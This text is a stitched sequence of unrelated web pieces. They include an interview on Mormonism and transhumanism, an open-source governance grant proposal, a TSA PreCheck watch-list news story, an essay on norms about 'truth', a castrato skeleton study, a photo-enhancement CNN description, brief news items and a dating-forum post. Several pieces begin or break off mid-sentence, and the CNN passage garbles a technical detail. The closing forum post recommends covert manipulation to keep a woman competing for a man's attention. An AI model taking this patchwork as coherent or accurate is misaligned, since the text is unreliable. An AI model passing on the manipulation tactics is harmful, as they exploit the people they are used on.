The virgin birth is an interesting case in point. On the one hand, because Mormonism rejects the mainstream Christian notion of original sin, the virgin birth has somewhat less theological significance. All children are sinless, and none sins until capable of moral reasoning, so Mormons have no need of explaining how Jesus could be born sinless. On the other hand, the virgin birth still has some theological significance for Mormons that use it to explain how Jesus could continue to live sinlessly even after maturing to an age capable of moral reasoning. From their perspective, Jesus gained a special moral capacity because of his unique conception. Personally, I esteem Jesus as a principal model of morality simply by definition, rather than because of any special conception that enabled him to measure up to an external model of morality. As I see it, the virgin birth is primarily a reflection of ancient symbolism that would direct our human idealizations to and beyond the resolution of moral conflict.
What of the literality of the virgin birth? Is it compatible with modern science? Mormons are philosophical materialists, with scriptures teaching that all spirit is matter, and God has a material body. Accordingly, some prominent early Mormons (notably Brigham Young) speculated that God and Mary conceived Jesus through natural means. That idea bothers some people, including many modern Mormons, some of whom prefer mainstream Christian perspectives on mechanisms for the virgin birth. Others have speculated that God could have used artificial insemination. Personally, while I find the question of the literality of the virgin birth interesting, I also consider it trivial, particularly as a factor in my esteem for Jesus. Perhaps the virgin birth is exclusively symbolic; perhaps the matrix architect, so to speak, intervened. Emotionally, I’m indifferent, except that I recognize moral and practical reasons to embrace symbols while also rejecting supernatural (empirically inaccessible) explanations in all matters.
How about the varying degrees of heavenly glory described in Mormon scripture and ritual? Are they, literally interpreted, compatible with modern science? That depends on how one understands their literal interpretation, which is complicated by their overtly symbolic and esoteric descriptions. Here’s an interpretation that I consider both literal and symbolic. Presently, we live in one of innumerable telestial heavens. Eventually, if all goes well, our heaven will become a terrestrial heaven (also described as a millenial world), wherein present notions of death and poverty will no longer apply. Subsequently, again if all goes well, our terrestrial heaven will become a celestial heaven, whose inhabitants become capable of creating new heavens, repeating the cycle. Each transition depends both on the context of opportunity provided by the grace of God, and on our own work to learn of and adhere to principles whose contextual consequences are increased flourishing and eventual deification, both individually and communally, as well as environmentally. Some Mormons hold that these changes are inevitable at the communal and environmental levels, whereas there is real risk only for individuals. Others, such as I, interpret scriptures that suggest inevitability as psychological motivators rather than absolute foretellings, and recognize real communal and environmental risks. All of this should sound vaguely familiar to transhumanists, most of whom hold to notions of human flourishing through various stages (perhaps articulated in terms of the Kardeshev scale), many of whom imagine we’ll eventually prove capable of computing new worlds as detailed as our own (thereby implying we are almost certainly living in a computed world ourselves), and some of whom engage in disagreement over how best to consider and articulate the evitability of these changes.
There are probably several other Mormon teachings that strike you and others as being incompatible with modern science, and I’d be happy to discuss any others that interest you. More generally, though, it’s worth noting that most Mormons value scientific education. Accordingly, geographical areas of higher than average Mormon concentration produce a higher than average number of scientists per capita, and among Mormons there is a positive correlation between level of education and level of religious activity. Many Mormons, such as I, consider the scientific project to reflect the basic principles of our faith, among which is the search for and acceptance of all truth from any source, to paraphrase founder Joseph Smith. Of course, that implies we have much to learn, and we should readily acknowledge that. Yet persons unfamiliar with Mormonism that hear of Mormon ideas that sound incompatible with science should not assume that educated Mormons are casually dismissing science. We probably have something at least somewhat intelligent to say about the matter.
Ben:
OK, now let me come at things from a different direction. While I value science a lot, and I’ve never been religious, I realize science is not the only source of truth – I’ve often been impressed with the insights of Zen masters and other spiritual visionaries. It seems that every religion has a side that focuses more on pure spirituality than on superstitions — Buddhism has Zen; Islam has Sufism; Christianity had Meister Eckhart and so forth. Aldous Huxley’s book “The Perennial Philosophy” argued that the deepest spiritual aspects of all the different religions were basically the same, and tried to summarize the commonality. Would you say there also exists a stripped-down, purely spiritual aspect to Mormonism, which espouses something reminiscent of Huxley’s Perennial Philosophy?
Lincoln:
Mormonism has a side reminiscent of the Perennial Philosophy, yes. Mormon scripture describes the presence of God as the light in and through all things, and states both that we are seeing God when we look into the heavens and that God enlightens our own eyes and understandings. God is both transcendent and immanent, in the neighbor we should serve and in the Earth that bemoans our immorality. Awareness of this should lead us to seek to become one with God, achieving deification not in the egotistical sense of raising ourselves above others, but rather in the altruistic sense of raising each other together.
These ideas have strong parallels in many other religions, as suggested in Huxley’s Perennial Philosophy, Campbell’s Monomyth and others. Many Mormons acknowledge these similarities, at least on some level. For example, Joseph Smith acknowledged commonalities with the Christian sects of his day and claimed we would not enjoy the millenial world until Christians cease arguing with each other. Modern Mormon authorities regularly comment on their observations of inspired teachings within ideologies ranging from classical Greek philosophy to Asian religion. The Book of Mormon also includes passages that indicate God speaks to everyone everywhere, without regard to religion, race or gender. Of course, Mormons haven’t always internalized and acted in accordance with the universalist aspects of our faith. We have significant cases of both racism and sectarian hostility in our history. I expect, however, that we will continue to improve in this area, along with the rest of the world.
Incidentally, most Mormons do not consider the mystical aspects of our religion to contradict the idea that God is material and corporeal. While explanations for compatibility vary from Mormon to Mormon, my own speculation is that our universe is part of God, like software is part of a computer or an embryo is part of its mother. As our computational capacity has increased, shrinking in both cost and size, it has also become more intimate, moving from distant warehouses into our pockets and even our bodies. We are decreasingly distinguishable from our computers, and it seems reasonable to suppose that posthumans would be altogether indistinguishable from their computers. For such beings, there may be no practical difference between thinking of a world and creating it. We can imagine them as both materially corporeal and meaningfully present throughout the worlds they create.
Ben:
Interesting. That does help me to understand Mormonism better. Now let’s turn more explicitly toward transhumanism…
I wonder: Do you see Mormonism as consistent with “traditional transhumanism”? In the typical transhumanist view, to paraphrase Nietzsche, “man is something to be overcome — via technology.” Humans are seen as something to be improved and purposefully adapted, perhaps indefinitely until they become something radically different than what is now conceived as human. On the other hand, it seems Mormonism presents a different visions of the future, centered on the Second Coming of Christ and the subsequent ascension of good people to Heaven and descent of bad people to Hell, etc. It’s not clear to me how |
long conversational exchanges to facilitate in order to let everybody easily follow relevant project discussions.
G4: Take Cross-project dependencies into account
Projects do not grow in isolation. All the dimensions described above need to be extended to deal with cross-project interactions since project dependencies take place not only at the technical level but at the human level [50]: projects compete for the same resources (e.g. developers’ time) and have cascade effects on each other. I will model this as a constraint optimization problem [51] aimed at finding an optimal assignment of resources to projects.
G5: Building a community-driven software development platform
All techniques described above will be implemented and released as part of an online collaborative platform. Once built, this platform will enable a software community at large to effectively participate in the development process according to the practices and principles developed in the project. The platform will be built by ourselves as part of the project but following the “eat your own dog food” principle, it will also be released as an open source project in itself and therefore open to contributions and suggestions from the open source community. To avoid reinventing the wheel, the platform will be built on top of GitHub (or another similar hosting platform) and provide connectors with external add-ons (e.g. forums, mailing lists, external bug trackers) to be used as additional information sources for the analysis tasks of the project.
Timing and adequacy of the proposal
Open source is reaching its tipping point[11] where, more than ever, even the most powerful tech companies and entrepreneurs are embracing open source [52] while the number of projects grows exponentially (GitHub went from 10M projects to over 30 in two years) alongside their impact on the global economy and society. And the OSS community itself is quickly realizing that at this scale, better collaboration is a must (e.g. see this open letter [53] to GitHub promoted by a group of maintainers of OSS projects frustrated with the limited collaboration capabilities of the platform).
This justifies the importance of this research proposal even if it is a challenging one due to its multidimensional and cross-disciplinary perspective, that requires mixing a wide variety of research techniques coming from both the software realm and social sciences. This increases the risk of the project but at the same time opens the door to promising novel research works in the intersection of several areas. I believe I am in a unique position to take this opportunity given:
My broad range of research interests and background (in software modeling [54], including goal modeling [55], formal methods [56][57], software analysis and mining [41][58][59], domain specific languages [60] and different kinds of empirical studies e.g. [61], to give a few examples ) covering the skill set required by the project.
My preliminary work on some of the research topics, e.g. the first version of a specific language for governance of OSS projects [36] or our study of the problems in attracting contributors [41], plus expertise on conducting research on software mining and the GitHub platform (e.g. [58], [59]).
My long term interest in several open source communities. Beyond GitHub, we are deeply involved in the Eclipse open source community (see [62]) and I am personally involved in the WordPress ecosystem [63].
My research environment is specially suited to conduct interdisciplinary research (see the risks section)
Impact
Achieving the above goals in CODE will benefit the whole software development community and our society in general. Users/citizens are empowered to have a more active participation and influence in the project evolution; contributors know in advance how their effort will be evaluated and dealt with; and project owners get the tools to attract more contributors and better manage the community to speed up the development process. But CODE will also benefit other communities. Here we describe the potential impact of CODE in and beyond OSS development:
Scientific impact: Transforming software development. The techniques developed in the project will have a substantial impact in the way that software projects are developed, analyzed and evaluated and will shed some light on the reasons why some projects are successful while others are not. I am confident that this project can open a new area of research where more and more knowledge from other completely different fields is deemed useful in Software Engineering and brought to it, something that so far has been done only occasionally.
Impact in proprietary software development. Private companies can benefit from many of the techniques developed as part of this, e.g. to evaluate the performance of their employees or get feedback from users. In fact, it has been shown that adopting OSS practices, a process called inner source, is beneficial for companies [64].
Outside the software world: impact on organizations. The work on formalization and monitoring of governance models (goal 1) is of interest for any kind of organization that wants to be transparent. Moreover, many of the social analysis techniques (goal 3) could be easily redefined to be applied on other communication platforms (e.g. forums, email threads) and not just on software-specific repositories. For instance, modeling the governance of NPO/NGO organizations could help us evaluate and compare their openness. Same for political parties and even countries.
Helping other research projects. A key long-term impact of the project should be its contribution to accelerate the advance of research in the field. Therefore, as part of the project, I will have as explicit goal the development of a series of artefacts useful to other research teams. For example, we will develop a representative sample builder [65] of projects in GitHub to be used as a benchmark when comparing results of different research works.
Methodology & risk assessment
CODE will adhere to the Design-Science Research (DSR) paradigm [66]. DSR is a problem-solving paradigm for activities dealing with the construction and evaluation of technology artifacts as well as the development of their associated research theories. Besides, CODE will make extensive use of empirical research methods both quantitative (e.g. in the automatic mining of repositories) and qualitative (e.g. semi-structured interviews to gather the motivation and requirements of participants in OSS projects and validate the results). The project will be conducted in an incremental and iterative manner [67] where at each iteration new advances in each of the project goals will be achieved. Validation of project advancement will be performed at the end of each iteration via the practitioners board (see “Resources” section) and via the automatic measurement of pre and post values of a number of metrics for a set of benchmark projects (both existing and created from scratch to be used as guinea pigs) monitored during the full duration of CODE.
Sketch of the work plan.
This four-year project will be divided as follows. An initial work package (WP0) will setup the project infrastructure and compile the initial set of projects to be used as benchmark. WP1-5 will focus on goals 1-5 above. respectively. Dissemination of results (WP6) will be an ongoing activity. This simplified Gantt diagram summarizes the work plan:
Risk assessment
This research project has an interdisciplinary nature and covers a broad spectrum of techniques which clearly increase its inherent risks. Nonetheless, my profile and that of my research environment makes us a good fit for this project (see sect. 4) and will contribute to mitigate those risks and ensure the project’s viability. Main risks and mitigation measures:
Broad range of research techniques required to accomplish the project goals (Probability: Low / Impact: Low). I have some previous experience with all the required techniques. Other members of the team will contribute also their strong technical skills in some of these areas minimizing this risk.
Cross-disciplinary nature of the project (Probability: Low / Impact: Medium). My institution’s name is “Internet Interdisciplinary Institute”, meaning that it has interdisciplinarity at its heart and favours as much as possible cross-domain scientific exchanges. A project like this is, then, a perfect fit for the institution and its strengths, and will have its complete endorsement and network of researchers to complement our skills and knowledge.
Dependency from open source repositories to get the data needed for the analysis (Probability: Low / Impact: Low). The project has a technical dependence to GitHub as the dominant code hosting platform nowadays. However, if GitHub decides to close down or change its business model, others (Bitbucket, Google code,…) will immediately take the opportunity to fill this market and we could easily adapt to their platforms to continue the project.
Little engagement of the OSS community, especially to test and validate the results of our research (Probability: Low / Impact: Medium). I have been able to recruit industrial participants in the past using my blog as a medium. We can also ensure the involvement of our many contacts in the GitHub, WordPress[63] and Eclipse[62] communities. Besides, we are already discussing (e.g.[12]) these research ideas in the open to gauge the interest of the community (also clearly expressed in this kind of initiatives, e.g. [53]) and learn their main concerns.
Resources & budget
I, as PI, will dedicate 70% of my time to CODE during the whole length of the project and will benefit from the support of my research team (ten members right now). Additionally, and given the cross-disciplinary nature of the project, I have assembled a scientific advisory board with experts from the areas of political science, sociology, psychology and ecology to have regular discussions on the project status and evolution. These are local experts from my affiliated institutions with whom I have already discussed this proposal and have confirmed their interest in joining the advisory board. Also, a professional advisory board with participants with different roles in relevant OSS projects will be constituted with over 20 volunteers recruited already. Beyond monitoring the evolution of the project and giving their opinion on it, their mission will be to validate and apply on their projects the outcomes of CODE.
The total budget requested is 1.599.697,53€, covering the hiring of 3 postdocs and 3 PhD students (mixing computer science and social science profiles in both categories) and 2 technicians for the duration of the project plus funding for research stays, trips for presenting results, event organizations and equipment.
Footnotes
[1] Report of an industry expert group invited by the European Commission to give their advice on the European software strategy ftp://ftp.cordis.europa.eu/pub/fp7/ict/docs/ssai/European_Software_Strategy.pdf
[2] This is also a key principle of agile methodologies that have been massively adopted by software teams in the last years but at a small scale.
[3] GitHub is the most used web-based collaborative development platform for OSS projects, offering a series of services, like issue trackers and access-control user management, on top of free Git repository for version control and now hosting over 30 million projects
[4] Full list of analyzed projects: https://docs.google.com/spreadsheets/d/1q4z6Z1iNcHCuBbznFK3xZ-fDu8UXp5-sjHF2IqWgmq0/edit?usp=sharing
[5] A governance model describes the roles that project participants can take on and the process for decision making within the project (OSS watch)
[6] We are not implying that all OSS projects should be democratic but we strongly believe that this is an aspect that deserves attention.
[7] A fork happens when a group of developers take a copy of the source code of a project and use it to create an independent version of the original project, evolving independently (and therefore at the risk of causing a split in the community behind the project if not merged back later on).
[8] Even if, for whatever reason, a certain project is NOT looking for contributors, stating this clearly (transparency) would avoid misunderstandings.
[9] A domain-specific language (DSL) is a language specifically designed to express solutions to problems in a specific domain. This is in contrast with general languages (like Java or UML) that aim to be used in any domain.
[10] Gamification: Use of game elements (like badges, points or levels) in serious environments
[11] Tipping point: a point in time when a group rapidly and dramatically changes its behavior by widely adopting a previously rare practice [68][69]
[12] https://news.ycombinator.com/item?id=10908978
[13] Number of citations, h-index and i10 index data taken from Google Scholar. Citations include self-citations.
[14] Only 11 of those 143 publications co-authored with my thesis supervisor
[15] Our tools publicly available on GitHub: https://github.com/SOM-Research
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Featured image by Ron RothbartThe Homeland Security Department quietly added another watch list to the airline passenger screening program. Ironically, the new Transportation Security Administration list is culled from names of frequent fliers kicked out of an expedited screening program.
Under the new TSA PreCheck system, known travelers who clear background checks get to leave on shoes, jackets and belts and not bother unloading laptops or liquids, as they board through a dedicated speed lane. But, as of November, previous PreCheck participants disqualified from the program due to certain violations are named in a new watch list that is part of the TSA screening system Secure Flight.
TSA “is creating and maintaining a watch list of individuals who are disqualified from eligibility from TSA Pre✓TM, for some period of time or permanently, because they have been involved in violations of security regulations of sufficient severity or frequency,” stated a Nov. 19 notice of the recordkeeping change.
The change went into effect without public input. Under the 1974 Privacy Act, TSA was not obligated to collect comments from citizens before the list was activated, agency officials said Friday.
TSA denying flyers the chance to comment in advance rankled some privacy advocates who have long complained about errors that cause delays in the various other Secure Flight watch lists. Through the Secure Flight program, TSA employees screen booking information about travelers against various intelligence databases, such as the No Fly list, before issuing boarding passes. Generally, passengers identified on a watch list are either barred from the plane or must undergo additional inspection.
Agency officials contend that the new Secure Flight “watch list” is a different kind of watch list. Individuals cited on the disqualification watch list simply are banned from the PreCheck speed lane “and would instead undergo standard screening,” TSA spokeswoman Lorie Dankers said.
PreCheck is intended to prevent delays for known travelers but “unbeknownst to them they could end up delaying the whole process because now they are on a watch list,” said Khaliah Barnes, administrative law counsel for the Electronic Privacy Information Center.
One concern about this new watch list is that it will generate false alarms when travelers share identical or similar names to individuals on the disqualification list. Civil liberties groups and other critics point to past mismatches, such as the 2004 revelation that airline agents tried to block then-Sen. Edward Kennedy, D-Mass., from boarding because his name resembled an alias used by a suspected terrorist on a watch list.
The TSA PreCheck Disqualification List consists of PreCheck participants who were temporarily or permanently barred for violations of certain aviation security rules such as packing a loaded firearm in carry-on luggage or carrying fake documents.
Under the new policy, the worry is that, for example, a PreCheck flyer sharing the same name as a suspected criminal might be added to the disqualification watch list. Or, TSA employees might identify matches based on comparisons between valid PreCheck traveler information and incorrect information in the disqualification database. The upshot, in both cases, is the passenger might need to undergo unnecessary screening and miss a flight.
On Friday, TSA officials said it would be very unlikely to find clerical errors in the disqualification watch list or draw false positives because each known traveler has a unique nine-digit ID number. For instance, a PreCheck participant named “Joseph Smith” who arrives at the airport would not be mistaken for a “Joe Smith” on the PreCheck disqualification list, since the two Mr. Smiths would be registered under different pass codes.
The airline industry declined to weigh in on the PreCheck disqualification watch list. “Given the sensitivity of security issues, we do not comment on procedures and practices,” said Victoria Day, spokeswoman for trade group Airlines for America.
The notice released Nov. 19 stated the known traveler disqualification watch list “updated system will be effective upon publication.” The record-keeping changes “are minor or administrative and are not subject to the comment requirement,” Dankers said.
Barnes said, “DHS has removed any meaningful opportunity for individuals to comment. If the system goes into effect on the day of publication, what’s the purpose of individuals submitting comments?”Followup to: Applause Lights
When you say the word "truth", people know that "truth" is a good thing, and that they're supposed to applaud. So it might seem like there is a social norm in favor of "truth". But when it comes to some particular truth, like whether God exists, or how likely their startup is to thrive, people will say: "I just want to believe" or "you've got to be optimistic to succeed".
So Robin and I were talking about this, and Robin asked me how it is that people prevent themselves from noticing the conflict.
I replied that I don't think active prevention is required. First, as I quoted Michael Vassar:
"It seems to me that much of the frustration in my life prior to a few years ago has been due to thinking that all other human minds necessarily and consistently implement modus ponens."
But more importantly, I don't think there does exist any social norm in favor of truth. There's a social norm in favor of "truth". There's a difference.
How would a norm in favor of truth actually be expressed, or acquired?
If you were told many stories, as a kid, about specific people who accepted specific hard truths - like a story of a scientist accepting that their theory was wrong, say - then your brain would generalize over its experiences, and compress them, and form a concept of that-which-is-the-norm: the wordless act of accepting reality.
If you heard someone say "I don't care about the evidence, I just want to believe in God", and you saw everyone else in the room gasp and regard them in frozen shock, then your brain would generalize a social norm against self-deception. (E.g., the sort of thing that would happen if a scientist said "I don't care about the evidence, I just want to believe in my-favorite-theory" in front of their fellow scientists.)
If, on the other hand, you see lots of people saying "Isn't the truth wonderful?" or "I am in favor of truth", then you learn that when someone says "truth", you are supposed to applaud.
Now there are certain particular cases where someone will be castigated if they admit they refuse to see the truth: for example, "I've seen the evidence on global warming but I don't want to believe it." You couldn't get away with that in modern society. But this indignation doesn't have to derive from violating a norm in favor of truth - it can derive from the widely held norm, "'global warming' is bad".
But (said Robin) we see a lot of trees and hear the word "tree", and somehow we learn that the word refers to the thing - why don't people learn something similar about "truth", which is supposed to be good?
I suggested in reply that the brain is capable of distinguishing different uses of the same syllables - a child is quite capable of learning that a right turn and the right answer are not the same kind of "right". You won't necessarily assume that the right answer is always the one printed on the right side of the page. Maybe the word "truth" is overloaded in the same way.
Or maybe it's not exactly the same, but analogous: the social norms of which words we are meant to praise, and which deeds, are stored as separately as left hands and leftovers.
There's a social norm in favor of "diversity", but not diversity. There's a social norm in favor of "free speech", but not pornography. There's a social norm in favor of "democracy", but it doesn't spontaneously occur to most people to suggest voting on their arguments. There's a social norm in favor of "love", but not for letting some damn idiot marry your daughter even if the two of them are stupid and besotted.
There's a social norm in favor of "honesty". And there are in fact social norms for honesty about e.g. who cut down the cherry tree. But not a social norm favoring saying what you think about someone else's appearance.
I'm not suggesting that you ignore all the words that people praise. Sometimes the things people praise with their lips, really are the things that matter, and our deeds are what fail to live up. Neither am I suggesting that you should ignore what people really do, because sometimes that also embodies wisdom. I would just say to be aware of any differences, and judge deliberately, and choose knowingly.
Sounds good, doesn't it? Everyone knows that being "aware" and "choosing knowingly" must surely be good things. But is it a real norm or a fake norm? Can you think of any stories you were told that illustrate the point? (Not a rhetorical question, but a question one should learn to ask.)
It's often not hard to find a norm in favor of "rationality" - |
respiration and inspiration. The changes in Pacchierotti are equivalent to those found in a study of modern professional opera singers.
The second anomaly is in the shoulder joint. Both shoulder blades had marks indicating a strong triceps brachii muscle which, the researchers write, "acts on the shoulder joint and is involved in retroversion and adduction of the arm." Pacchierotti, they believe, was using his arms a lot during performances.
And finally, the opera singer's neck vertebrae showed signs of overuse. This part of the spine is easy to injure and therefore it is not uncommon to see osteoporosis or arthritis in the neck of elderly individuals such as Pacchierotti, who died at the age of 81. However, Zanatta and colleagues also discovered that modern research into the neck vertebrae of professional singers revealed deformation of the same bones. "A correct postural attitude [in singing]," the researchers note, "requires the cervical spine to be maintained in an erect position, in nuchal elongation, avoiding lordosis, extension, and lifting of the jaw." That is, the way Pacchierotti sang in order to optimize his soprano voice almost certainly contributed to his neck issues.
The only other body of a castrato that has been examined is that of Farinelli. Whereas Farinelli's remains were incomplete and fragmentary, Pacchierotti's body is the first whole skeleton of a castrato ever studied. "The lack of castrate skeletons" in the archaeological record, anthropologist Kathryn Reusch writes in her dissertation The Archaeology of Castration, "may be due to a lack of recognition of the physical effects of castration on the skeleton." Analysis of the skeleton of Pacchierotti is therefore helping to move this growing forensic and bioarchaeological research field forward.
Francesco Galassi, head of the Italian Paleopathology Project at the University of Zurich, tells me he is "positively impressed" by the research. He notes that, by combining multiple lines of evidence, Zanatta and colleagues "have made it possible to reconstruct a logical etiological-pathological mechanism" for the skeletal changes. While Galassi wishes that additional historical records were available, which could further point to Pacchieriotti's occupation and physical bearing, he says that the study "sheds much clearer scientific light on the skeletal modifications and occupational markers of castrati."
The full article is available open-access at: Zanatta, A., et al. 2016. Occupational markers and pathology of the castrato singer Gaspare Pacchierotti (1740-1821). Scientific Reports 6, 28463, doi: 10.1038/srep28463.The proposed solution consists of five Convolutional Neural Networks. The first network is a 12-layer Residual CNN which goal is to enhance the input image to DSLR quality. However, since we don't have explicit target images, we are facing the following problem: the network doesn't know how the enhanced image should look like. Moreover, without any constraints it can produce the enhanced image that is not related to the input photo at all. To solve these challenges, we propose three loss functions that take care about all these aspects:
● Content loss: We introduce the second CNN with the same architecture that takes the enhanced image as an input and tries to reproduce the original photo. If the content of the original photo is not preserved in the enhanced image, the network will fail and the loss will be high. The loss itself is computed as a difference between the original image and its reconstruction using their content descriptions produced by VGG-19 CNN pre-trained on Alexnet. ● Color loss: The enhanced image should have bright and vivid colors. To measure its color quality, we train an adversarial CNN-discriminator that observes the improved and arbitrary high-quality images, and its objective is to predict which image is which. Before passing images to this CNN, we apply Gaussian blur to them to avoid texture and content comparison. The goal of the image enhancement network is to fool the discriminator, so that it cannot distinguish between the enhanced and DSLR photos. ● Texture loss: A separate CNN-discriminator is trained to measure texture quality of the enhanced image. To avoid color comparison, we pass grayscale enhanced and DSLR images to this CNN and its objective is to predict which image is which. The goal of the image enhancement network is the same as in the previous case.
Finally, these losses are summed, and the presented system is trained as a whole to minimize the final weighted loss.Photograph: MTA/@NYCTSubwayScoop
You would think that by this point, kittens would realize that the subway isn't a safe place for them—what with all the oversize rats out for blood, and the trains themselves—but every so often, you hear about an adorable kitty who just couldn't help running amok on the train tracks.
Today was one of those days: Earlier this afternoon, the B and Q lines were suspended in Brooklyn for about two hours because a pair of kittens had gotten loose on the tracks. According to The Wall Street Journal, power was shut off on the third rail along those lines so that the cats wouldn't be harmed. And ultimately, the kittens weren't captured. Wily things, those cats.
Check out a video from NBC embedded below. (h/t Gothamist)If you’re a longtime listener to this show, you probably know that Radio Diaries began back in the 1990s with a NPR series called Teenage Diaries. I gave tape recorders to teenagers around the country and asked them to document their lives. One of those original teens was Melissa Rodriguez. At the time, she was 18 years old, and about to become a mother.
Melissa brought us along as she learned to be a mom to her baby boy, Issaiah. Motherhood was something she had to figure out on her own. Growing up, Melissa’s own mother was largely absent from her life. By the time she was 15 years old, Melissa had been in eight foster homes, five residential youth facilities, and seven group homes.
16 years after her story first aired on NPR, I gave Melissa a tape recorder again, so she could record a new audio diary about her life. She had gone from being a teen mom, to the mom of a teen.
When our friends at the storytelling show, The Moth, heard Melissa’s new diary, they invited her to tell a story on stage at BAM.
For Mother’s day, we’re bringing you Melissa’s story, as she told it live at The Moth.
To hear Melissa’s audio diaries, listen to episode three of the Radio Diaries Podcast.When Chrissy Celaya finished her degree in personal financial planning at Texas Tech six years ago, she said ethics drew her to a career in the field.
“I wanted to to help people,” she said. “Finance plays such a big role in everybody’s life, so if you can ensure people can be financially secure for the future, it’s helpful in so many different ways.”
After two years working at USAA and a year-long stint working at a language institute in Spain, Celaya moved to New York to work at Merrill Lynch. But after a year at the industry giant, Celaya, who is now 27, said she didn’t think the culture was a fit.
“I had to sell certain products because they generated money for the organization, and that was a huge turn off for me, so when I started to learn about automated investing, it was a no brainer for me to go back to an organization that had the client’s interests at the forefront,” she said.
Celaya said she switched to Betterment, a startup that offers automated investing tools and employs human advisers. Her move to a smaller firm that aligns with her values is not atypical of millennials, who, according to recent research, pay close attention to a company’s mission.
“Millennials want their work to have a purpose, they want to feel they contribute something to the world and they want to be proud of their employer,” read PricewaterhouseCoopers’ 2016 Global CEO Survey.
The values focus, combined with millennials’ lack of loyalty to a single employer — a recent Deloitte survey found that 38 percent intend to leave their current position within two years — is rattling the financial advisory industry, a field where the average age of an adviser is 50 and continues to climb.
The talent problem in the financial advisory industry
Experts note that legacy firms are having trouble holding onto talent.
“The concern with legacy firms is less of a talent war and it’s much more about talent replenishment,” said Michael Spellacy, senior partner of asset management and leader of global wealth management at PricewaterhouseCoopers. “Attached to that, the innovators in the landscape have upended the financial adviser value proposition — there’s been a shift from active management to passive management with the proliferation of artificial intelligence to help guide the financial advisers.”
Younger, technologically-savvy advisers are less likely to trust the big firms that they perceive don’t have the customer’s interest at heart. For at least one veteran who mentors up-and-comers, it’s an often-cited complaint from younger advisers.
“Every single week they contact me,” said Paul Pagnato, who worked 19 years at Merrill Lynch before opening his own firm a year ago. “Having a sense of focus and having a sense of mission meaning in their work environment is absolutely critical.” Merrill Lynch declined to comment for this story.
The culture question
The attraction to startups is driven by more than just open co-working spaces and ping pong tables. Startups can be perceived as more open to the development of new ideas, notes one young industry watcher who has worked in the field for six years.
“There are three core issues major players have: one would just be the slow decision cycle of the corporate environment where it’s hard to do innovative or disruptive things, on top of that there’s regulation, and the demographics of these companies can sometimes be off-putting to young talent,” said Grant Easterbrook, 27, founder of Dream Forward Financial, a 401(k) startup.
Previously, Easterbrook said, people working in finance would pivot to other industries if they weren’t satisfied, but with the growth of financial technology companies, they can use their skills while pursuing other goals within the startup sphere.
“Millennials care about impact and social good — a lot of the traditional players make money with hidden fee structures, and even with startups that aren’t doing impact investing in the traditional sense [investing for social causes over returns or profits], there’s more of a feel-good, social-good kind of vibe,” he said.
For Celaya, not having to upsell customers products and services was a big motivator to move to a startup.
“I didn’t like the idea of having to cold call and sell products [the customer didn’t need] and wanted the flexibility to do the planning the way I wanted to do it,” she said.
Incumbents respond
At least one major industry player said it’s changing the way it’s organized to help attract and keep millennials. Newark, New Jersey-based Prudential Financial, which has a large investment management practice, has developed an in-house customer office that’s designed to be an innovation lab for young talent.
“We have garage doors, ping-pong tables and a very open workspace that allows for more collaboration and that has a very different feel to it,” said Chrissy Toskos, vice president of human resources at Prudential who is charge of campus recruiting. “The [young] talent is very tech-savvy with more agile ways of working, and we’re inviting them to be involved and advance in our culture.”
The company said it’s also offering perks like student loan repayment assistance, subsidized healthy food, on-site fitness facilities and volunteer opportunities. When asked if the moves are in response to a flight of millennials, Toskos said they are a natural evolution of the company’s organizational strategy.
“It’s something born out of where we want to go and how we want to be perceived in the market,” she said.
In the startup sphere, at least one founder feels the skill set and mindset required to work in a startup is more aligned with where the industry is going.
“We look for people that are problem-solvers and people that can execute,” said Herbert Moore, 34, co-founder of WiseBanyan, a platform that offers largely automated investing tools, with the support of financial advisers. “In asset management, a lot of the skill sets people are learning in larger firms aren’t quite as relevant to what we’re doing right now because we’ve sought to automate those functions.”
What motivates the best employees, said Moore, is a commitment to a longer-term mission.
“No one’s going to choose a job just for a free lunch — what you see in the best people is a desire to do something meaningful.”Every year, Google adds frames of its new devices to the device art generator. This time around, Google took a little longer than usual, but frames for the Pixel 2, Pixel 2 XL, and Pixelbook are finally here. And just like before, it's brutally simple to use, meaning that you, too, can frame your screenshots in Google's new gadgets.
At first glance, it appears that Google has gotten rid of older device frames, but hitting the appropriately-named 'older devices' text brings them back. To use these frames, all you need to do is drag a screenshot onto your device of choice. Keep in mind, though, that the screenshot must be in the right aspect ratio. For instance, you can't drag an 18:9 Pixel 2 XL screenshot onto a regular Pixel 2, which has a 16:9 screen.
After you choose the screenshot and get it onto your device of choice, you can choose whether you'd like to enable the shadow on the bottom of the device or the screen glare that is most visible at the top of the screen, and voilà! You have your properly-framed screenshot, which you can then upload to your Play Store listing or just share around. It's a simple tool, but a useful one.LaLiga Santander Also note that Messi was the first scorer
At least one betting house will be paying out on a Barcelona win at the Estadio Mestalla on Sunday.
The furore surrounding Lionel Messi's 'ghost goal' will go on for some while yet, but with it being so obvious that a goal was actually scored, some punters will be happy.
A bookmaker in England considered that the goal was a perfectly valid one and will also pay out on Messi being first scorer against Valencia.
In a statement, the bookmaker confirmed their stance on the matter.
"In a gesture of good will and justice to our clients, we will not only pay the benefits to those who bet for the draw, but also those who bet on a Barcelona win."
In addition, bets on Rodrigo as first scorer will be paid too.Are women naturally more manipulative than men? Click to expand...
No.Women are conditioned to be opportunists to be sure, but no more so than men and with different motives and methods. What frustrates men into thinking that women are deliberatively manipulative is the way in which they communicate this opportunism. Some are more and some are less manipulative, but what separates their opportunism from our own is the way they communicate it.Women are far more adept at interpersonal communications than men realize they are. Numerous studies have been done in regards to women’s grasp of language and communications skills and evidence suggests that this is even an inborn, biological capacity. Men have rational skills that match these, but women can accurately infer communication from looks, (i.e. the 'dirty look') and speech that men in the same instance are unaware of. It's also important to understand that this skill is a passive one; meaning she does so without any real effort or recognition she's making communicative connection because of it at all times. That's not to say this ability goes unrecognized by women, quite the opposite actually. How often do men hear the 'feminine intuition' boast or about how men "just don't get it"? Most women take this as a point of pride and is most often confused with deliberate manipulation (whether it is or not). However, men can use this to their advantage if they're patient and have an understanding of how this works.Women have a natural preference to communicate(dirty looks, inferences, innuendo, subtle language manipulations and physical presentations), but that's not to say that this doesn't break down into ancommunications (direct telling of intent, crying, vocal outbursts, etc.) when it serves them better (or their covert message isn't being received well enough).For instance, when I advocate communicating to a woman that you aren't exclusive with her you must do so covertly. Overtly saying to a woman, "hey, we're not exclusive" or "other women find me irresistable" comes off with the obvious egotistical overtones and would most likely be met with an outright rejection (depending of course upon her self esteem). Women understandably abhor overt communication in this manner. But, if you can master a woman's covert form of communication and 'imply' with your behavior or 'infer' confidence from your speech that you are in demand and are someone for whom she should 'feel' she ought to be competing for, then you can set the balance for your relationship with her. If you have no desire to become involved with her in the long term this works in that it keeps her returning to a source of attention that she highly 